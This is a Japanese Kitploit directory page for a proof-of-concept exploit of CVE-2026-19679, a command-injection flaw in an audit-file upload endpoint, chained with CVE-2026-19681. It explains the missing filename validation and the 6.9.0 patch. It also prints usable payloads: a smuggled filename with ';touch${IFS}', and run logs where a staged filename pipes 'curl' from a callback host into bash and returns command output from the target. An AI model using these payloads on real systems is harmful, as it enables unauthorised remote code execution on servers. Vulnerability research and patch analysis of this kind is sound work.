Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
POC-CVE-2026-19679 — CVE-2026-19679 用の概念実証エクスプロイト。監査ファイルのアップロードにおけるファイル名のサニタイズ処理の不備により、コマンドインジェクションを引き起こす脆弱性です。差分バージョンプローブと、リモートコマンド実行用の exec モードを備えています。 | Kitploit
ツール/GitHubGitHub/h00die/poc-cve-2026-19679
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールペイロード開発
GitHubh00die/poc-cve-2026-19679

POC-CVE-2026-19679

CVE-2026-19679 用の概念実証エクスプロイト。監査ファイルのアップロードにおけるファイル名のサニタイズ処理の不備により、コマンドインジェクションを引き起こす脆弱性です。差分バージョンプローブと、リモートコマンド実行用の exec モードを備えています。

リポジトリを見る
17時間38分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

InfoGraphic

CVE-2026-19679 — アップロードされたファイル名のサニタイズ不備(入力検証)

ステータス: 確認済み 6.7.2-14.el9 ラボ環境(2026-08-20)。POST /rest/auditFile に tailoringOriginalFilename = "poc;touch${IFS}poc19679;me.xml" を指定すると HTTP 200 が返り、 AuditFile #1000002 が登録された — シェルメタ文字を含むファイル名は検証を通過し、 エンドツーエンドで保存された。6.9.0 では同じリクエストは "Invalid tailoring filename." で拒否される。

脆弱性

監査ファイルのアップロードパラメータ(filename、tailoringFilename、 tailoringOriginalFilename)は PARAM_FILENAME ()で検証されるが、チェックされるのは次の 3 点のみ: 空でないこと、 を含まないこと( と一致すること)、ステージングされたファイルが存在すること。 — 、、バッククォート、、空白はそのまま通過する。

Utility::validateParams()
/
basename()
文字セットの制約は一切ない
;
$()
${IFS}

それらの名前は次の処理に流れ込む:

  • rename($tmpTailoringFile, "{$tmpDir}/{$newTailoringFilename}") — AuditFileLib.php:2307(名前に任意のメタ文字を含むファイルが作成される)
  • SCAP zip 再パックコマンド — exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc") ここで、エスケープされていない $tmpZipFile は クライアントの filename パラメータに由来する — CVE-2026-19681 の下流コマンドインジェクション。

ラボで検証した境界: トラバーサルは 6.9 以前の欠陥の一部ではない — 両方の tailoring パラメータが / を拒否する(../ ペイロードではエラー 146 Invalid syntax for attribute ...)。欠けているのはまさに文字セットフィルタであり、 CVE の説明が「下流のコマンドインジェクションに寄与し得る」と述べるのはこの点を指す。

パッチ(6.9.0)

AuditFiles::applySCAPTailoringFile():

root@kitploit:~
$filenamePattern = '/^[A-Za-z0-9][A-Za-z0-9._-]{0,254}$/';
$safeTailoringFilename = basename($params['tailoringFilename']);
$safeTailoringOriginalFilename = basename($params['tailoringOriginalFilename']);
if ( !preg_match($filenamePattern, ...) ) {
    ErrorHandler::setErrorHandler("Invalid tailoring filename.", RESPONSE_INVALID_DATA);

加えて、両方の名前への basename() と、zip オペランドへの escapeshellarg()。

PoC

差分バージョンプローブ — 1 つのリクエストで、バージョンごとに正反対の結果:

root@kitploit:~
./poc.py --target https://sc.lab --username analyst --password 'pass'
  • ≤ 6.8.x → HTTP 200(メタ文字名で監査ファイルが作成される)またはエラー 106 (exec 後のバウンス; 名前は依然として rename()/zip に到達した)→ 文字セット検証なし
  • 6.9.0 → 即座に "Invalid tailoring filename."

動作メモ(すべてラボ検証済み):

  • アップロードリソースは /rest/file/upload(multipart Filedata、context フォームフィールド)
  • 監査 zip は空白の context でステージングされる — context=auditFile は zip に対してコンテンツ検出を実行する(ダミー zip ではエラー 107)
  • tailoring ファイルには、≥1 の Profile(埋め込み)を含むパース可能なデータストリーム XML が必要
  • auditFile ボディには type=scapLinux|scapWindows、version=1.2、benchmarkName、 dataStreamName が必要

CVE-2026-19681 との関係

19679 は検証の欠落であり、19681 は exec のシンクである。同じアップロードフローが 両方を引き起こす: 19681 は、ステージングされた filename に(アップロードの context プレフィックス経由で)メタ文字を仕込み、エスケープされていない $tmpZipFile を通してそれらを発火させる; 19679 は、兄弟パラメータが同じ文字クラスを 同じコマンド文字列に至るまで(そしてその内部にまで)受け入れることを実証する。 6.9.0 は 1 つのコミット領域で両側を修正する: 文字セット + basename + escapeshellarg。

実行例

root@kitploit:~
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd whoami
[*] exec mode: callback on 2.2.2.2:43423, staged-name payload 'p;curl${IFS}2.2.2.2:43423|bash;'
[+] authenticated, token 20748583...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:43423|bash;-6LsqIT' tailoring='tailoringFile-gGVNr6'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560505}
[+] command output:
tns
root@kitploit:~
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd "uname -a"
[*] exec mode: callback on 2.2.2.2:44077, staged-name payload 'p;curl${IFS}2.2.2.2:44077|bash;'
[+] authenticated, token 20420913...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:44077|bash;-zFE1Bb' tailoring='tailoringFile-FmUM7f'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560738}
[+] command output:
Linux securitycenter 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Oct 17 14:16:35 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
ツールをダウンロード